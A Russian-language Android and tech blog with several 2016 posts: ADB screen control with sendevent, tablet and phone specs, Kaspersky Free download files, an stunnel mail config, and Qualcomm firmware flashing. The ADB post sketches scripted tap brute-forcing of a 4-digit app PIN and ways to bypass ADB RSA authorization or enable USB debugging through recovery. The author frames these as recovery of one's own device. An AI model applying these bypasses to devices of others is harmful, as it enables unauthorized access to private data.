воскресенье, 31 января 2016 г.

Android Screencast. Управление Android устройством через ADB.

В этом посте я вкратце расскажу вам об одном из вариантов управления Android устройством через ADB. Для чего это может понадобиться? Самая распространенная ситуация - это вариант, в котором экран устройства у вас поврежден, например, разбит, а получить доступ к устройству нужно. Например, для копирования данных или выполнения каких-либо других действий. Также возможно рассмотреть и другие сценарии использования, такие как выполнение определенной последовательности действий в автоматическом режиме. Что это может быть? Да что угодно ... К примеру, у вас есть какое-то важное для вас приложение на котором установлен "защитный PIN-код", который вы забыли. При этом вы знаете что код состоит из 4 цифр, например, от 0000 до 9999. Понятно что такой вариант "защиты" практически ни от чего не защищает, ну разве что от случайного человека, который взял в руки ваш телефон. Но если вы действительно забыли этот код, подобрать его не так сложно. Надо всего лишь попробовать все комбинации от 0000 до 9999 ... Правда сколько времени у вас на этой уйдет, если пытаться сделать это вручную? Думаю сценарий понятен, нужно написать небольшой скрипт, который автоматически будет нажимать в нужные кнопки на экране (пример, естественно, учебный, в большинстве случаев есть масса других способов "вытащить" такой пароль из приложения).

Что нам понадобится? Конечно же немного теории. Для начала, например, рекомендую ознакомиться с этой статьей - Автоматизация тестирования Android приложений, из которой самое главное в рамках поставленных нами задач - это работа с Event'ами. Т.е. сначала мы можем записать в лог с помощью команды adb shell getevent -t > events.txt определенное действие, а потом воспроизвести его. Здесь я сразу перейду к результатам (экспериментировать мы будем на моем Micromax Q415 Canvas Pace 4G). Для того чтобы произвести эмуляцию нажатия (тапа) по экране в месте с определенными координатами X,Y необходимо выполнить следующий сценарий:

adb shell sendevent /dev/input/event0 3 57 3
adb shell sendevent /dev/input/event0 3 53 X
adb shell sendevent /dev/input/event0 3 54 Y

adb shell sendevent /dev/input/event0 1 330 1 
adb shell sendevent /dev/input/event0 0 0 0
adb shell sendevent /dev/input/event0 1 330 0
adb shell sendevent /dev/input/event0 0 0 0 

Чтобы разобраться что к чему, если что-то непонятно можно прочитать еще вот эту статью - Простая автоматизация нагрузочного UI тестирования для Android QA инженера. Если вкратце, то сначала мы задаем координаты нажатия, потом делаем touch down (1 330 1) и затем touch up (1 330 0). Событие 0 0 0 здесь - это так называемый разделитель событий. Откуда я взял конкретные коды событий? Из лога ... т.е. запустил запись событий в лог, с помощью команды приведенной выше, кликнул по определенному месту экрана, остановил запись в лог, выделил из него нужное, а затем просто воспроизвел записанную последовательность.

Теперь нам становится более понятно, каким образом можно осуществить любую последовательность нажатий на экране, для этого нужно просто знать координаты соответствующих точек на экране по которым необходимо осуществить тап. Приведенный пример хорошо подходит для написания скриптов по автоматизации каких-то действий (например, в задаче перебора "пароля"). Но для полноценного управления устройством он не подходит, не будете же вы, например, для того чтобы запустить какое-то приложение и выполнить в нем простую последовательность действий, которая и нужна-то один раз (например, для того чтобы выгрузить нужные данные), вычислять координаты каждой кнопки и надписи, по которой нужно кликнуть.

В этом варианте, когда управлять устройством хочется при помощи мышки с ПК и видеть результат своих действий нам поможет проект AndroidScreencast от xSAVIKx. На данный момент последняя версия приложения v.0.0.5.1S. Скачать именно эту версию можно с GitHub'а - androidscreencast-0.0.5.1S.jar или с зеркала, отсюда - android_screencast.7z .

В последнем архиве в "комплект" уже входит jar-файл, драйвера ADB и platform-tools, т.е. adb.exe и все сопутствующее. Да, естественно, для общения с устройством через ADB - в нем должна быть включена "Отладка по USB" в опциях разработчика. Скачиваем архив android_screencast.7z и распаковываем в отдельную папку. Далее подключаем устройство с помощью USB-кабеля к ПК и запускаем Android Screencast - java -jar androidscreencast-0.0.5.1S.jar (на ПК должна быть установлена Java версии >= 7):


И сразу же видим рабочий стол нашего устройства. Все управляется мышкой, также можно посылать в аппарат определенные нажатия через меню Execute Keycode, просматривать содержимое папок (Explore):


И многое другое. Часть функционала правда может не работать, но для выполнения базовых задач того что есть вполне хватит.

p.s. Есть правда и некоторые "нюансы". Например, для того чтобы устройством можно было управлять через ADB - на нем должна быть включена отладка по USB, а на ПК, к которому вы его подключаете - должен быть принят запрос RSA авторизации. Если на устройстве уже разбит экран и вы не можете осуществить по нему ни одного нажатия, а отладка по USB при этом выключена или RSA-авторизация не принята, то, естественно, что т.к. у вас нет доступа к устройству через ADB - все описанное работать не будет. Однако, если доступ через ADB есть - то материал приведенный в посте окажет значительную помощь. На самом деле отладку через USB можно попытаться включить и другими способами, например, прямым редактированием соответствующих настроек в ФС Android, а RSA авторизацию для ADB и вовсе отключить, например, пересобрав boot.img ... но это уже гораздо более обширная тема. Кому интересно вот небольшая подборка полезных ссылок:


p.p.s. Ну и напоследок одна мысль, скорее в качестве идеи. Предположим, что мы попали в ситуацию, когда отладка по USB на устройстве у нас выключена, но установлен какой-нибудь кастомный recovery. Можно подготовить соответствующий update.zip, содержащий утилиту sqlite для arm и shell скрипт автоматизирующий все действия по включению отладки по USB. В этом случае для включения отладки по USB нам придется лишь прошить подготовленный нами zip через custom recovery. Но это уже в качестве предмета для самостоятельного изучения.

суббота, 30 января 2016 г.

Случайное удаление последних 50-ти комментариев ...

Ввиду непредвиденной технической ошибки последние 50 комментариев, включая ответы на них, были случайно удалены. При этом они были размещены под разными постами. К сожалению, техническая возможность восстановления их в состояние "как было" до сбоя отсутствует, но у меня сохранились некоторые вопросы заданные пользователями и ответы на них. Поэтому, если вы видите в интересующей вас теме уведомление о том что ваше сообщение было удалено - это следствие ошибки. В этом случае вы можете повторно задать вопрос в соответствующей теме или поискать ответ на нем в этом посте.

Q. Установка TWRP прошла успешно! не понимаю одного,,, скачал прошивку"Q415_Port_Benefit_A2_V006.rar" как установить? В TWRP, открываю вкладку Install, не видит прошивку, или что, и как? спасибо заранее!
A. Подробная инструкция по развертыванию backup'а прошивки через TWRP находится в этом посте. В архиве с прошивкой у вас лежит папка Q415_Port_Benefit_A2_V006 и сказано что это backup для развертывания через TWRP. Эту папку нужно скопировать на SD-карту в /external_sd/TWRP/BACKUPS/xxxxxxxx, где xxxxxxxx - это идентификатор вашего устройства (подчеркиваю, что у вас он будет другим). После чего выбираете Restore в TWRP и разворачиваете этот backup.

Q. Помогите вернуть к жизни тело. Поставил TWRP (бекапы сделал и кинул на SD)
Сделал анлок от мегафона (сделал бекап) Закинул и сделал рекавери через TWRP (MMX_Q415_SW_V2.8_HW_V0.2_25112015) Ребут и всё. Тело не входит в рекавери. Способ восстановления кирпича не получается, сначала писало ошибку (do catch: COM_QPHONEMS_SaharaArmPrgDownload FAIL!) Потом и вовсе Qualcomm Smartphone Software Update Tool выкидывает в момент восстановления.Тело видно только в fastboot и Qualcomm QDLoader
A. Ответ на данный вопрос вам дали вчера в сообществе, если проблема все еще актуальна для вас - задайте пожалуйста данный вопрос с уточнениями в соответствующей теме.

Q. где взять backap qcn? следовал по пунктам, дошел до пункта"Software Download" нету backap,qcn,... где и как его добыть,?
A. Его нужно снять самому в QPST, в инструкции написано как.

Q. Здравствуйте, 2 дня назад купила q415, разлочить сама не могу, т.к. полный профан, мастера сц не берутся, но у меня при включении со второй сим теле2 просит вести пин код для активации сети, может уже и пин появился?
A. Нет, к сожалению, способ разблокировки аппарата описанный в этой статье на данный момент единственно доступный.

Q. Все делаю по инструкции, не получается. Начинаю делать копию разделов NVRAM, ввожу первую команду и вылетает ошибка. Что делать? https://yadi.sk/i/NIgxufkHnw9Tp
A. У вас в системе установлен эмулятор Android - AVD (Android Virtual Device), удалите его или отключите на время выполнения пунктов инструкции. Либо же, если для вас это представляет какие-то сложности, выполните положения инструкции на другом ПК.

Если вы не нашли здесь ответа на свой вопрос, а при этом в исходном сообщении вы видите уведомление о том что сообщение было удалено, задайте ваш вопрос еще раз, в соответствующей теме. 

среда, 27 января 2016 г.

Планшет Мегафон Login 4 LTE. Технические характеристики.

В прошлом посте Планшет Мегафон Login 4. В ожидании бюджетных новинок ... я вкратце рассказал вам о планшете Мегафон Login 4, который в ближайшем будущем должен поступить в продажу в сеть салонов связи Мегафон. В этом посте мы вкратце рассмотрим технические характеристики новинки, а также познакомимся с его внешним видом. Новинка будет построена на базе 64-битного чипа от Mediatek - MT8735 с Mali T720 MP2 в качестве графического ускорителя, обладать 1 Gb RAM и 8 Gb встроенной памяти. Заявленная ОС на момент выхода устройства - Google Android 5.1, дисплей 7" с разрешением 1024x600 и IPS матрицей.

"По словам представителей MediaTek, система на чипе MT8735 обеспечивает на 20% более высокую производительность и потребляет на 10% меньше мощности, чем продукты конкурентов аналогичного уровня. В чип также встроены беспроводные сетевые адаптеры Wi-Fi 5 ГГц и Bluetooth 4.0, LTE-модем, модуль спутниковой навигации GPS/Glonass/Beidou." (информация ichip.ru). В качестве примера аналогичного устройства, на таком же чипсете можно привести Билайн Таб Фаст, который уже рассматривался в более ранних обзорах.

Давайте посмотрим, как будет выглядеть новинка:

Мегафон Login 4 LTE

Как видно, дизайн планшета в какой-то степени повторяет предыдущую версию, похожая металлическая крышка на задней стороне, форма отверстий динамика и т.п. элементы.

Технические характеристики Мегафон Login 4 LTE:


Планшет Мегафон Login 4 LTE
Операционная система:Google Android 5.1 (Lollipop) 
Процессор:1.3 GHz, 4-ядерный, MediaTek MT8735 (Cortex-A53), графическая подсистема: Mali T720 MP2
Память:1 Gb (RAM) + 8 Gb (ROM), поддержка карт памяти microSDHC до 32 Gb
Экран:IPS, 7", 1024x600 пикселей, 16 млн. цветов, мультитач 5 точек
Камера:5 MPix (автофокус) - основная, 0.3 MPix - фронтальная
Количество SIM:
Стандарты и диапазоны:GSM 850/900/1800/1900 MHz, UMTS 900/2100 MHz, LTE B3/B7/B20
Навигация:GPS; A-GPS
Беспроводные технологии:Bluetooth 4.0, Wi-Fi 802.11 a/b/g/n (2.4/5 ГГц) (диапазон 802.11a 5 GHz поддерживается чипом, однако в спецификациях устройства он почему-то не был заявлен)
Дополнительно:FM–радио, зарядка через разъем Micro-USB
Батарея:3500 мА·ч
Габаритные размеры:188.5x108.4x10 мм.
Вес:290 гр.
Доступные цвета:черный

Ориентировочная стоимость новинки на момент старта продаж 4990 руб. + подключение акционного тарифного плана Интернет Планшет S на несколько месяцев (обратите внимание, что стоимость подключения ТП в разных регионах может отличаться, так же пока неизвестны подробные условия акции и количество месяцев на которые необходимо будет подключить данный ТП).

p.s. Информация о технических характеристиках Мегафон Login 4 LTE получена из неофициальных источников и пока нигде не публиковалась, так что вполне возможно, что какие-то из приведенных характеристик не совсем точны. С более подробной информацией можно будет ознакомиться в момент появления планшета в продаже на официальном сайте оператора.

Обновлено 01.02.2016 15:03 (MSK)

Планшет MegaFon Login 4 LTE официально появился в интернет-магазине оператора Мегафон. Несколько фото новинки:



С более подробной информацией вы можете ознакомиться на официальном сайте оператора. Ну а я со своей стороны, в самое ближайшее время, планирую опубликовать свой обзор MegaFon Login 4 LTE. Как говорится, stay tuned и следите за новостями.

суббота, 23 января 2016 г.

Планшет Мегафон Login 4. В ожидании бюджетных новинок ...

Не хотелось бы быть похожим на "желтую прессу", заголовки которой пестрят разнообразными сенсациями. Но буквально на днях появилась информация мимо которой я просто не мог пройти. Штатные телепаты поведали о том, что в ближайшем будущем в Мегафоне появится очередная новинка под названием Мегафон Login 4. Что именно будет представлять собой устройство, а также на каком чипе оно будет построено Qualcomm или Mediatek - пока никакой информации нет. Однако, уже точно известно, что это будет планшет. Строить оптимистичные прогнозы здесь пожалуй не стоит. Безусловно, во времена появления третьей версии этого планшета - Мегафон Login 3, о котором я уже когда-то писал в своем блоге - новинка в какой-то степени "опередила время". Т.е. по соотношению цена / производительность, качество работы GPS и т.п., эта модель была настолько удачной, что спрос на нее не ослабевал даже при появлении массы аналогичных моделей других вендоров. Да и если посмотреть разнообразные форумы, посвященные мобильным устройствам, то по количеству просмотров, написанных пользователями сообщений и т.п. нетрудно было догадаться, что планшет завоевал первое место в "конкурсе народных симпатий".

После появления данного планшета, те пользователи, которые внимательно следят за брендированными новинками, ожидали чего-то подобного и от смартфона Login 3. Однако их ожидания не оправдались и новинка вышла весьма посредственной, вернее даже новинкой ее можно было назвать с весьма и весьма большой натяжкой, т.к. по характеристикам, используемому процессору и т.п. аппарат практически полностью повторял своего предшественника. Именно поэтому строить какие-то прогнозы касательно Мегафон Login 4 на данный момент бессмысленно. Естественно, хотелось бы увидеть что-нибудь интересное, 7-8", IPS дисплей, Qualcomm и, желательно, Android 6.0 ... но что за сюрприз на самом деле приготовил нам оператор пока остается только гадать.

К слову, предстоящий месяц обещает быть богатым на новинки не только у Мегафон. Так, у его конкурентов должны появиться несколько новых смартфонов. Речь идет об МТС Smart Start 2 и МТС Smart Surf 4G у МТС, а также Билайн Фаст 2+ и Билайн Смарт 6 у Билайна. И если с тремя из этих моделей уже все ясно еще до их выхода (известны их технические характеристики, которые я описывал в других постах), то вот МТС Smart Surf 4G представляет собой определенный интерес (отчасти потому, что его ТТХ пока остаются загадкой).

Безусловно, рекомендовать ждать появления Мегафон Login 4 в продаже я не буду, т.к. до момента его появления на прилавках многое может измениться. Я думаю ни для кого не секрет, что сейчас происходит с курсом доллара и как все это может повлиять на стоимость бытовой техники, мобильных устройств и т.п. К тому же пока не известны его технические характеристики, равно как и ОС на которой он будет построен (кстати, заметьте, никто пока не говорил что это будет именно Android устройство). Но если вы интересуетесь брендированными гаджетами в принципе, равно как и возможностью немного сэкономить за счет приобретения операторского устройства в рамках какой-нибудь акции - то я постараюсь держать вас в курсе всех последний новостей о Мегафон Login 4.

Ну а если у вас есть какие-либо предположения или вообще "любые мысли на тему" - поделитесь ими в комментариях или сообществе.

Обновлено 27.01.2016 18:08 (MSK)

С техническими характеристиками новинки, а также внешним видом уже можно познакомиться в этом посте - Планшет Мегафон Login 4 LTE. Технические характеристики.

четверг, 21 января 2016 г.

Kaspersky Free Anti-Virus (KFA)

На рынке антивирусных решений трудно кого-то чем-то удивить, можно спорить о преимуществах тех или иных продуктов, развивать многочисленные теории на тему что лучше, платное решение или один из бесплатных аналогов. Но так или иначе, практически все пользователи знают "тройку лидеров" - KAV, DrWeb, ESET и, возможно слышали, или даже имеют установленным какой-нибудь бесплатный антивирус, например, Avast и т.п. Теперь и Лаборатория Касперского имеет свой собственный бесплатный антивирус. Да, да, вы не ослышались, у Касперского теперь есть бесплатная версия.

Подробнее о том что такое бесплатный Касперский и об истории его возникновения можно почитать в блоге Евгения Касперского вот в этом посте. Позволю себе привести несколько цитат: "Вы не ослышались – это абсолютно бесплатный продукт, который содержит основные защитные функции, определённые открытым голосованием пользователей. Ну, кроме защиты от инопланетных вирусов :) – это был единственный первоапрельский намёк в опросе. Так что вот – если совсем нет денег на полнофункциональную защиту от кибер-угроз, но есть компьютер с ценными данными, то и для такой ситуации теперь имеется решение."

По-сравнению с платной версией KAF является "облегченной", однако, это вовсе не значит, что бесплатная версия обеспечивает меньшую защиту, просто в ней урезана часть функционала и оставлены только базовые функции защиты: "Здесь только самое необходимое. А именно: файловый и веб-антивирус, автоматические обновления, самозащита и много ещё чего другого.".

Официальная страница продукта - Бесплатный антивирус Kaspersky Free.

Небольшая инфографика, иллюстрирующая разницу между KAF (Kasoersky Free Anti-Virus) и KIS (Kaspersky Internet Security):


Онлайн-дистрибутив KAF весит всего 2 Mb, однако, он потому и называется "онлайн", что при установке скачивает около 160 Mb данных.


Как видите, после установки у вас активируется  бесплатная годовая лицензия. Для тех кто хочет собрать "оффлайн" дистрибутив, например, для того чтобы не выкачивать каждый раз 160 Mb из сети при установке KFA на несколько домашних ПК, вот URL - http://pr_dl.kaspersky-labs.com/ru-RU/KFA/ по которому находятся файлы установщика.

Например, для последней на момент написания этого поста версии 16.0.1.445 список файлов дистрибутива x86 версии находится здесь, а x64 - здесь. Ну а если разобрать детально, то:

KAF (x86):

/kleaner/InteractiveNew/Global/index-kleaner.txt
/ru-RU/KFA/16.0.1.445/eula_ru-ru.txt
/ru-RU/KFA/16.0.1.445/ipm.cab
/ru-RU/KFA/16.0.1.445/ksn_ru-ru.txt
/ru-RU/KFA/16.0.1.445/product.cab.z
/ru-RU/KFA/16.0.1.445/product.msi.z
/ru-RU/KFA/16.0.1.445/rdp_ru-ru.txt
/ru-RU/KFA/16.0.1.445/setup.exe
/sharedbases/index-sharedbases.txt
/bases/kavkis2016mr1/KFA/index-bases-x86.txt
/bases/kavkis2016mr1/KFA/corebases.cab
/bases/kavkis2016mr1/KFA/corebasesx86.cab
/bases/kavkis2016mr1/KFA/inst.cab
/bases/kavkis2016mr1/KFA/productbases.cab
/sharedbases/sharedbases.cab
/kleaner/InteractiveNew/Global/kleaner.cab

KAF (x64):

/kleaner/InteractiveNew/Global/index-kleaner.txt
/ru-RU/KFA/16.0.1.445/eula_ru-ru.txt
/ru-RU/KFA/16.0.1.445/ipm.cab
/ru-RU/KFA/16.0.1.445/ksn_ru-ru.txt
/ru-RU/KFA/16.0.1.445/product.cab.z
/ru-RU/KFA/16.0.1.445/product.msi.z
/ru-RU/KFA/16.0.1.445/rdp_ru-ru.txt
/ru-RU/KFA/16.0.1.445/setup.exe
/ru-RU/KFA/16.0.1.445/x64.cab.z
/sharedbases/index-sharedbases.txt
/bases/kavkis2016mr1/KFA/index-bases-x64.txt
/sharedbases/sharedbases.cab
/bases/kavkis2016mr1/KFA/corebases.cab
/bases/kavkis2016mr1/KFA/corebasesx64.cab
/bases/kavkis2016mr1/KFA/inst.cab
/bases/kavkis2016mr1/KFA/productbases.cab
/kleaner/InteractiveNew/Global/kleaner.cab

Базовый URL и для той, и для другой версии pr_dl.kaspersky-labs.com. Т.е. желающие могут загрузить этот список файлов в тот же wget и сделать себе оффлайн-дистрибутив.

Ну и если подвести краткое резюме, то для большинства пользователей подобное решение будет самым настоящим подарком, т.к. в случае использования Kaspersky Free Anti-Virus (KFA) они получают антивирусную защиту от известного производителя, минимально необходимый набор функций, а также регулярные обновления антивирусных баз. При этом все это абсолютно бесплатно. При желании, пользователи смогут расширить функционал, приобретя лицензию на KAV или KIS.

Оправдает ли себя подобное решение с точки зрения получения коммерческой выгоды Лабораторией Касперского - покажет время (мотивацией пользователя для приобретения коммерческого продукта здесь как раз является отсутствие части функций во Free-версии, которые присутствуют в "Premium-продуктах" ЛК), однако, уже сейчас можно сказать что подобный подход заслуживает определенного интереса. 

среда, 20 января 2016 г.

Настройка почтового клиента не поддерживающего SSL на Mail.Ru

В этой небольшой заметке мы рассмотрим как проще и быстрее всего настроить почтовый клиент не поддерживающий SSL соединения для использования с сервисом Mail.Ru (или любым другим почтовым сервисом для которого обязательно использование SSL соединения). Вы спросите зачем это нужно? Ведь большинство современных почтовых клиентов, например, TheBat, Windows Mail, Microsoft Outlook и другие давным-давно поддерживают SSL и работают вполне "штатно". Нужно это в первую очередь для старых приложений, которые не поддерживают безопасное соединение, но которым необходима возможность приема / отправки почты через POP3/SMTP.

Первое что мы делаем - это устанавливаем stunnel отсюда на ту же машину, где у нас находится почтовый клиент. Для справки, stunnel - это:

Stunnel is a proxy designed to add TLS encryption functionality to existing clients and servers without any changes in the programs' code. Its architecture is optimized for security, portability, and scalability (including load-balancing), making it suitable for large deployments.

Т.е. это специализированный proxy, разработанный специально для случаев, когда необходимо добавить функционал TLS шифрования в существующие клиент-серверные решения без какого-либо изменения их кода.

После установки редактируем файл stunnel.conf, заменив его содержимое следующими строками:

[SMTP mail]
client = yes
accept = 127.0.0.1:25
connect = smtp.mail.ru:465
[POP3 mail]
client = yes
accept = 127.0.0.1:110
connect = pop.mail.ru:995

Далее заходим в настройки нашего почтового клиента и в настройках SMTP сервера указываем IP адрес 127.0.0.1 и порт 25, а в настройках POP3 сервера - 127.0.0.1 и порт 110. В результате почтовый клиент у вас будет обращаться к установленному stunnel, а он уже в свою очередь "форвардить" запросы к серверам mail.ru, используя SSL/TLS. Таким образом, мы настроили почтовый клиент, который не имел по-умолчанию поддержки безопасного соединения на Mail.Ru с использованием TLS.

Где и как это может использоваться? Как уже говорилось выше, например, у вас есть ПО, поддержка которого прекращена разработчиками, которое умеет общаться с почтовыми серверами только через небезопасное (открытое) соединение, а вы бы хотели использовать его с современными почтовыми сервисами "с минимальными затратами", т.е. без поднятия собственного SMTP/POP3 сервера для пересылки, без обращения к разработчикам и т.д. и т.п. Примером использования stunnel может быть настройка УРБД (РИБ) на платформе 1С:Предприятие 8.1 с использованием обмена через электронную почту (насколько я помню, безопасное соединение с почтовым сервером не поддерживается данной платформой). 

вторник, 19 января 2016 г.

Билайн Фаст 2 и Билайн Фаст 2+. Досчитай до пяти ... Поставь плюс.

Компания Билайн продолжает радовать нас обновлениями модельного ряда своих брендированных устройств. Вот только обновления эти, с точки зрения названий новых моделей в линейке немного нелогичные, причем до такой степени, что путаться в названиях новых устройств будут не только покупатели, но и сами сотрудники салонов. Про новый операторский фаблет Билайн Фаст+ с Qualcomm Snapdragon 210 (MSM 8909) на борту и 5.5" экраном я уже рассказывал в одном из предыдущих постов. Теперь пришло время вкратце уделить внимание смартфону Билайн Фаст 2 на MediaTek MT6735M и еще не появившемуся в продаже устройству Билайн Фаст 2 Плюс (да, да, будет и такой). Кстати, тоже на MT6735M (вот тут-то и возникает вопрос, зачем было делать несколько устройств с до боли похожими названиями ... Билайн Фаст, Билайн Фаст+, Билайн Фаст 2 и, наконец, Билайн Фаст 2+ ... согласитесь, запутаться крайне просто).

Но обо всем по-порядку. Смартфон Билайн Фаст 2, вышедший еще в конце прошлого года, представляет собой 5" смартфон с IPS матрицей и ОС Android 5.1 Lollipop. Разрешение экрана правда, при этих 5" составляет 480x854 точек, из-за чего все значки и шрифты на нем выглядят достаточно крупно. Впрочем, любой недостаток можно обратить в достоинство, так, например, людям обладающим не очень хорошим зрением работать с этим аппаратом будет вполне комфортно, т.к. мелких элементов в интерфейсе попросту нет и "прищуриваться" чтобы разглядеть что-то уж точно не придется, тем более на 5".

Несколько фото Билайн Фаст 2 с официального сайта оператора:


Ну а вот, как выглядит он "вживую", но для начала давайте вкратце рассмотрим его технические характеристики:


Технические характеристики Билайн Фаст 2:
  • Операционная система: Google Android 5.1 (Lollipop)
  • Процессор: 1.0 ГГц, 4-ядерный, MediaTek MT6735M
  • Память: 1 Gb (ОЗУ) + 8 Gb (ПЗУ), поддержка карт памяти microSDHC до 32 Gb
  • Экран: IPS, 5" 480x854 пикселей, 16 млн. цветов, мультитач 5 точек
  • Камера: 5 Mpix (автофокус) - основная, 2 Mpix - фронтальная
  • Разъем для подключения аудио: стандартный 3.5 мм
  • Стандарты и диапазоны: GSM 900/1800 MHz, UMTS 900/2100 MHz, LTE B3/B7/B20
  • Скорость приема/передачи данных: до 150/50 Мбит/c
  • Беспроводные технологии: BT 4.0, Wi-Fi 802.11 b/g/n (2.4 GHz)
  • Навигационные возможности: GPS, A-GPS
  • Коммуникации: голосовые вызовы, прием/передача сообщений SMS и MMS
  • Батарея: 2200 мА·ч
  • Производитель: Донггуан Ньювэй Диджитл Эс энд Ти Ко. Лтд.

Внешне аппарат ничем особенным не выделяется, тот же корпус черного цвета (есть еще и белый вариант исполнения) форм-фактора моноблок, то же расположение управляющих элементов на передней панели, т.е. все что что мы уже видели. Так что внешне аппарат вполне можно спутать с другими аналогичными моделями:






 Все достаточно стандартно, не правда ли? Несколько скриншотов интерфейса Билайн Фаст 2:



Скриншоты сделаны непосредственно на самом аппарате, так что кликнув по любой из картинок выше вы увидите изображение в "натуральную величину". Тут как раз наглядно видно то, о чем я говорил выше, т.е. достаточно крупные значки и шрифты и т.п. Также, вы можете заранее посмотреть на набор предустановленных приложений, их не так много и занимаются они всего 2 экрана. Стандартный пакет билайновских приложений, вроде БиИнфо, Билайн ТВ, Замени гудок, Мой билайн и т.п. здесь был дополнен приложением Карта Билайн. Это приложение позволяет пополнять карту «Билайн» с банковских карт VISA и MasterCard, оплачивать услуги, погашать кредиты, отправлять денежные переводы. В остальном, ничего нового здесь нет.

Если вы обратите внимание на скриншот информации о памяти, то здесь оператор сохранил тенденцию, замеченную в предыдущих моделях. Чтобы избежать постоянных вопросов покупателей о том, почему в описании аппарата и в технических характеристиках заявлено 8 Gb встроенной памяти, а на деле их меньше - теперь в меню "Память" отображается отдельная графа "Память телефона - 8 Гб". Хотя, как видно, из этого объема под пользовательский раздел (userdata) выделено около 5,05 Gb, из которых по-умолчанию свободно примерно 4,39 Gb. Результат, который набрал аппарат в популярном тесте Antutu Benchmark - 19469 "попугаев". Что вполне ожидаемо для данного SoC. Вот такая вот новинка ... Стоимость этого аппарата на момент написания поста составляет 6 490 руб.

И вот здесь, мы подходим к самому интересному ... думаю небольшое представление о Билайн Фаст 2 по данному мини-обзору вы уже успели составить. Буквально сегодня стало известно что к выходу готовится еще одна модель с "оригинальным" названием - Билайн Фаст 2+ ... ))) "Оригинальным" взято в кавычки не случайно. Про Фаст 2+ пока достоверно известно только что он будет построен на аналогичном SoC, т.е. на MediaTek MT6735M. При этом другие характеристики аппарата пока остаются под вопросом. Но уже сейчас есть некоторое непонимание. Даже если допустить что у Билайн Фаст 2+ будет другой экран, например, с более высоким разрешением или несколько слотов для установки SIM-карт, или какие-то другие не очень существенные отличия ... все равно, по факту, т.е. в плане производительности, технических характеристик и т.п. - он все равно как две капли воды будет похож на предыдущую модель, с тем лишь исключением что Фаст 2 и Фаст 2+ производятся на разных фабриках в Китае. Зачем оператору было выпускать практически аналогичную модель, да еще и со схожим названием? Этот шаг был бы вполне логичен, если бы "старая модель" была практически распродана, но т.к. продажи Фаст 2 начались только в декабре 2015 года, говорить об исчерпании запасов мягко говоря рановато. А вот путаницу в названиях новинка вносит значительную. Интересно, появятся ли смартфона линейки Смарт с индексом "плюс" в ближайшем будущем? Поэтому и статья у нас называется "досчитай до пяти, поставь плюс" ;)

p.s. Кстати с точки зрения "брендинга", т.е. наименования моделей меня порадовала фантазия компании Oysters. Может быть кто-то не в курсе, но не так давно Oysters представила целую линейку обычных звонилок с интересными названиями - Oysters Kursk, Oysters Lipetsk, Oysters Ufa, Oysters Sochi и т.п. Есть даже Oysters Yalta ;) Это наглядный пример того, откуда можно почерпнуть идеи для названия новых моделей. Количества городов в России уж точно хватит не на одну сотню аппаратов ;)

Обновлено 21.01.2016 01:10 (MSK)

По информации от "штатных телепатов" считать все-таки нужно не до 5, а до 6-ти ... т.к. совсем скоро, в течении месяца или двух все-таки появится Билайн Смарт 6. Пока про новинку известно не так много, она будет построена на базе SoC от Mediatek MT6572, т.е. это будет 3G-аппарат с двухъядерным процессором с максимальной тактовой частотой 1.2 GHz. Из спецификаций чипа известно, что он поддерживает HSPA+ 3G, Wi-Fi и GPS. Т.о. Билайн Смарт 6 - это будущий бюджетный аппарат с дисплеем не выше qHD (т.е. разрешение экрана будет не больше 540×960 пикселей), а скорее всего в данном случае 480x800 и камерой до 5 MPix. Также известно что в аппарате будет предусмотрен только 1 слот для sim-карт.

Возможно, количество "одинаковых бюджеток" у этого оператора кого-то и смутит или даже "позабавит", но поверьте, с учетом того, что доллар сегодня обновил отметку в 81 руб., наличие аппаратов подобного класса по доступной цене в продаже играет только на руку потребителям, т.е. нам с вами. Поэтому здесь действует хорошая пословица "много - не мало". Так или иначе, оператор подготовился к событиям, которые происходят на валютном рынке и успел закупить несколько партий разнообразных аппаратов бюджетного сегмента до возможного подорожания оборудования, комплектующих и т.п.

суббота, 16 января 2016 г.

Micromax Q415. Прошивка с помощью Qualcomm Smartphone Software Update Tool. Инструкция.

Продолжаем цикл постов про Micromax Q415. Сегодня мы рассмотрим с вами как прошить телефон официальной заводской прошивкой SW_V2.8 с помощью Qualcomm Smartphone Software Update Tool. Сама прошивка выложена в посте Micromax Q415 Canvas Pace 4G. Прошивки и обновления. (см. раздел Официальная прошивка MMX_Q415_SW_V2.8_HW_V0.2_25112015 для прошивки с ПК). Первое что мы делаем это идем по ссылке для скачивания прошивки на NeedROM'е и регистрируемся на данном ресурсе. Регистрация занимает не более 5 минут и в любом случае будет полезной для вас в будущем. Можно было конечно выложить эту прошивку на Яндекс.Диск и т.п. файловые хостинги, но я этого делать не стал ... Скорость скачивания c needrom'а достаточно хорошая, а учетная запись на этом ресурсе позволит вам без проблем загружать выложенные там прошивки и для других устройств. После завершения регистрации качаем себе на ПК 4 файла:

  • MMX_Q415_SW_V2.8_HW_V0.2__V25112015B1661_LCS4.bin.7z - непосредственно сам архив с прошивкой. 
  • Qualcomm Smartphone Software Update Tool.rar - флешер. 
  • Uniscope_Qualcomm driver_V1.0.1.zip - драйвера Qualcomm (при установке на 64-битные ОС обязательно отключение проверки цифровой подписи драйверов) 
  • Flashing_Procedure_Инструкция для прошивки.pdf - инструкция по прошивке (все логины, пароли и явки от прошивальщика находятся в данной инструкции). 


Далее распаковываем каждый из архивов в отдельную папку, в итоге получается что-то вроде этого:


Далее важный момент, если у вас x64 (64-битная) система, то временно, на один сеанс, отключаем обязательную проверку цифровой подписи драйверов. Как это сделать описано в этой инструкции. Т.е. просто читаем инструкцию со слов "Для начала, если у вас x64 система временно (на один сеанс) отключим проверку цифровой подписи драйверов" и выполняем все пункты вплоть до "Нажимаем F7 для отключения проверки цифровой подписи". Если у вас x86 (32-битная) система - этот пункт вы пропускаете.

Выключаем телефон, если до этого он был у вас включен и удерживая кнопки Громкость+ и Громкость- держим кнопку включения питания до тех пор, пока телефон не включится. Скорее при этом на нем будет просто белый экран, это нормально. Подключаем телефон к ПК кабелем и открываем диспетчер устройств.

Если вы все сделали верно, то в диспетчере устройств вы увидите устройство QHSUSB__BULK со следующими VID и PID - USB\VID_05C6&PID_9008&REV_0000:


Нажимаем по нему правой кнопкой мыши и выбираем пункт "Обновить драйверы ... ", далее выбираем поиск драйверов на этом компьютере и в качестве пути к драйверам указываем папку Uniscope_Qualcomm driver_V1.0.1, которая у нас получилась при распаковке архива:


После чего нажимаем кнопку Далее. В результате устройство QHSUSB__BULK у нас пропадает, а в разделе COM и LPT порты диспетчера устройств появляется новое устройство с названием RELINK HS-USB QDLoader 9008:


